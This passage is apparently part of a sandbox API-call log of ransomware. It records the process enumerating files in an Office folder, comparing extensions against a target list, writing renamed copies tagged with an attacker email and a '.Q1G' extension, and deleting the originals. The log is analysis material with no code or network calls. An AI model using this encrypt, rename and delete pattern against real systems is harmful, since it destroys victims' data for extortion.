(lpString=".jpg") returned 4 [0252.411] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0252.411] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".Q1G") returned -1 [0252.411] lstrlenW (lpString="OUTLLIBR.DLL.IDX_DLL") returned 20 [0252.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0252.411] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=119680) returned 1 [0252.411] CloseHandle (hObject=0x390) returned 1 [0252.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll.idx_dll")) returned 0x20 [0252.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll.idx_dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0252.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0252.412] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0252.412] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0252.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll.idx_dll.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0252.412] GetLastError () returned 0x0 [0252.412] ReadFile (in: hFile=0x390, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x1d380, lpOverlapped=0x0) returned 1 [0252.471] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x1d390, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x1d390, lpOverlapped=0x0) returned 1 [0252.474] ReadFile (in: hFile=0x390, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0252.474] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xfc, lpOverlapped=0x0) returned 1 [0252.474] SetEndOfFile (hFile=0x3ac) returned 1 [0252.474] CloseHandle (hObject=0x3ac) returned 1 [0252.474] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0252.474] SetEndOfFile (hFile=0x390) returned 1 [0252.478] CloseHandle (hObject=0x390) returned 1 [0252.478] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0252.478] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll.idx_dll")) returned 1 [0252.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68 [0252.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68 [0252.479] lstrlenW (lpString=".doc") returned 4 [0252.479] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0252.479] lstrlenW (lpString=".docx") returned 5 [0252.479] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0252.479] lstrlenW (lpString=".pdf") returned 4 [0252.479] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0252.479] lstrlenW (lpString=".xls") returned 4 [0252.479] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0252.479] lstrlenW (lpString=".xlsx") returned 5 [0252.479] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0252.479] lstrlenW (lpString=".ppt") returned 4 [0252.479] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0252.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68 [0252.479] lstrlenW (lpString=".zip") returned 4 [0252.479] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0252.479] lstrlenW (lpString=".rar") returned 4 [0252.479] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0252.479] lstrlenW (lpString=".bz2") returned 4 [0252.479] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0252.479] lstrlenW (lpString=".7z") returned 3 [0252.479] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0252.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68 [0252.479] lstrlenW (lpString=".dbf") returned 4 [0252.479] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0252.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68 [0252.479] lstrlenW (lpString=".1cd") returned 4 [0252.479] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0252.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68 [0252.479] lstrlenW (lpString=".jpg") returned 4 [0252.479] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0252.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68 [0252.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68 [0252.480] lstrlenW (lpString=".doc") returned 4 [0252.480] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0252.480] lstrlenW (lpString=".docx") returned 5 [0252.480] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0252.480] lstrlenW (lpString=".pdf") returned 4 [0252.480] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0252.480] lstrlenW (lpString=".xls") returned 4 [0252.480] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0252.480] lstrlenW (lpString=".xlsx") returned 5 [0252.480] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0252.480] lstrlenW (lpString=".ppt") returned 4 [0252.480] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0252.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68 [0252.480] lstrlenW (lpString=".zip") returned 4 [0252.480] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0252.480] lstrlenW (lpString=".rar") returned 4 [0252.480] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0252.480] lstrlenW (lpString=".bz2") returned 4 [0252.480] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0252.480] lstrlenW (lpString=".7z") returned 3 [0252.480] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0252.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68 [0252.480] lstrlenW (lpString=".dbf") returned 4 [0252.480] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0252.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68 [0252.480] lstrlenW (lpString=".1cd") returned 4 [0252.480] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0252.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68 [0252.480] lstrlenW (lpString=".jpg") returned 4 [0252.480] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0252.480] lstrcmpiW (lpString1=".HXT", lpString2=".Q1G") returned -1 [0252.480] lstrlenW (lpString="OUTLOOK.DEV_COL.HXT") returned 19 [0252.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0252.481] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=211) returned 1 [0252.481] CloseHandle (hObject=0x390) returned 1 [0252.481] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxt")) returned 0x20 [0252.481] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxt.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0252.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0252.481] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0252.481] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0252.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxt.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0252.482] GetLastError () returned 0x0 [0252.482] ReadFile (in: hFile=0x390, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0xd3, lpOverlapped=0x0) returned 1 [0252.483] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0252.484] ReadFile (in: hFile=0x390, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0252.484] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xfa, lpOverlapped=0x0) returned 1 [0252.484] SetEndOfFile (hFile=0x3ac) returned 1 [0252.484] CloseHandle (hObject=0x3ac) returned 1 [0252.484] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0252.484] SetEndOfFile (hFile=0x390) returned 1 [0252.488] CloseHandle (hObject=0x390) returned 1 [0252.488] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0252.488] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxt")) returned 1 [0252.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT") returned 67 [0252.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT") returned 67 [0252.488] lstrlenW (lpString=".doc") returned 4 [0252.488] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0252.488] lstrlenW (lpString=".docx") returned 5 [0252.488] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0252.488] lstrlenW (lpString=".pdf") returned 4 [0252.489] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0252.489] lstrlenW (lpString=".xls") returned 4 [0252.489] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0252.489] lstrlenW (lpString=".xlsx") returned 5 [0252.489] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0252.489] lstrlenW (lpString=".ppt") returned 4 [0252.489] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0252.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT") returned 67 [0252.489] lstrlenW (lpString=".zip") returned 4 [0252.489] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0252.489] lstrlenW (lpString=".rar") returned 4 [0252.489] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0252.489] lstrlenW (lpString=".bz2") returned 4 [0252.489] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0252.489] lstrlenW (lpString=".7z") returned 3 [0252.489] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0252.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT") returned 67 [0252.489] lstrlenW (lpString=".dbf") returned 4 [0252.489] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0252.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT") returned 67 [0252.489] lstrlenW (lpString=".1cd") returned 4 [0252.489] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0252.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT") returned 67 [0252.489] lstrlenW (lpString=".jpg") returned 4 [0252.489] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0252.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT") returned 67 [0252.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT") returned 67 [0252.489] lstrlenW (lpString=".doc") returned 4 [0252.489] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0252.489] lstrlenW (lpString=".docx") returned 5 [0252.489] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0252.489] lstrlenW (lpString=".pdf") returned 4 [0252.489] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0252.489] lstrlenW (lpString=".xls") returned 4 [0252.489] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0252.489] lstrlenW (lpString=".xlsx") returned 5 [0252.489] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0252.489] lstrlenW (lpString=".ppt") returned 4 [0252.489] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0252.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT") returned 67 [0252.490] lstrlenW (lpString=".zip") returned 4 [0252.490] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0252.490] lstrlenW (lpString=".rar") returned 4 [0252.490] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0252.490] lstrlenW (lpString=".bz2") returned 4 [0252.490] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0252.490] lstrlenW (lpString=".7z") returned 3 [0252.490] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0252.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT") returned 67 [0252.490] lstrlenW (lpString=".dbf") returned 4 [0252.490] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0252.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT") returned 67 [0252.490] lstrlenW (lpString=".1cd") returned 4 [0252.490] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0252.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT") returned 67 [0252.490] lstrlenW (lpString=".jpg") returned 4 [0252.490] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0252.490] lstrcmpiW (lpString1=".HXK", lpString2=".Q1G") returned -1 [0252.490] lstrlenW (lpString="OUTLOOK.DEV_F_COL.HXK") returned 21 [0252.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0252.491] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=114) returned 1 [0252.491] CloseHandle (hObject=0x390) returned 1 [0252.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_f_col.hxk")) returned 0x20 [0252.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_f_col.hxk.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0252.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0252.491] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0252.491] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0252.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_f_col.hxk.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0252.492] GetLastError () returned 0x0 [0252.492] ReadFile (in: hFile=0x390, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x72, lpOverlapped=0x0) returned 1 [0252.493] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x80, lpOverlapped=0x0) returned 1 [0252.493] ReadFile (in: hFile=0x390, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0252.493] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xfe, lpOverlapped=0x0) returned 1 [0252.493] SetEndOfFile (hFile=0x3ac) returned 1 [0252.493] CloseHandle (hObject=0x3ac) returned 1 [0252.494] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0252.494] SetEndOfFile (hFile=0x390) returned 1 [0252.496] CloseHandle (hObject=0x390) returned 1 [0252.496] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0252.496] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_f_col.hxk")) returned 1 [0252.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK") returned 69 [0252.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK") returned 69 [0252.496] lstrlenW (lpString=".doc") returned 4 [0252.496] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0252.496] lstrlenW (lpString=".docx") returned 5 [0252.496] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0252.496] lstrlenW (lpString=".pdf") returned 4 [0252.496] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0252.496] lstrlenW (lpString=".xls") returned 4 [0252.497] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0252.497] lstrlenW (lpString=".xlsx") returned 5 [0252.497] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0252.497] lstrlenW (lpString=".ppt") returned 4 [0252.497] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0252.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK") returned 69 [0252.497] lstrlenW (lpString=".zip") returned 4 [0252.497] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0252.497] lstrlenW (lpString=".rar") returned 4 [0252.497] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0252.497] lstrlenW (lpString=".bz2") returned 4 [0252.497] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0252.497] lstrlenW (lpString=".7z") returned 3 [0252.497] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0252.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK") returned 69 [0252.497] lstrlenW (lpString=".dbf") returned 4 [0252.497] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0252.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK") returned 69 [0252.497] lstrlenW (lpString=".1cd") returned 4 [0252.497] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0252.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK") returned 69 [0252.497] lstrlenW (lpString=".jpg") returned 4 [0252.497] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0252.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK") returned 69 [0252.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK") returned 69 [0252.497] lstrlenW (lpString=".doc") returned 4 [0252.497] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0252.497] lstrlenW (lpString=".docx") returned 5 [0252.497] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0252.497] lstrlenW (lpString=".pdf") returned 4 [0252.497] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0252.497] lstrlenW (lpString=".xls") returned 4 [0252.497] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0252.497] lstrlenW (lpString=".xlsx") returned 5 [0252.497] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0252.497] lstrlenW (lpString=".ppt") returned 4 [0252.497] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0252.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK") returned 69 [0252.497] lstrlenW (lpString=".zip") returned 4 [0252.498] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0252.498] lstrlenW (lpString=".rar") returned 4 [0252.498] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0252.498] lstrlenW (lpString=".bz2") returned 4 [0252.498] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0252.498] lstrlenW (lpString=".7z") returned 3 [0252.498] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0252.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK") returned 69 [0252.498] lstrlenW (lpString=".dbf") returned 4 [0252.498] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0252.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK") returned 69 [0252.498] lstrlenW (lpString=".1cd") returned 4 [0252.498] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0252.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK") returned 69 [0252.498] lstrlenW (lpString=".jpg") returned 4 [0252.498] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0252.498] lstrcmpiW (lpString1=".HXK", lpString2=".Q1G") returned -1 [0252.498] lstrlenW (lpString="OUTLOOK.DEV_K_COL.HXK") returned 21 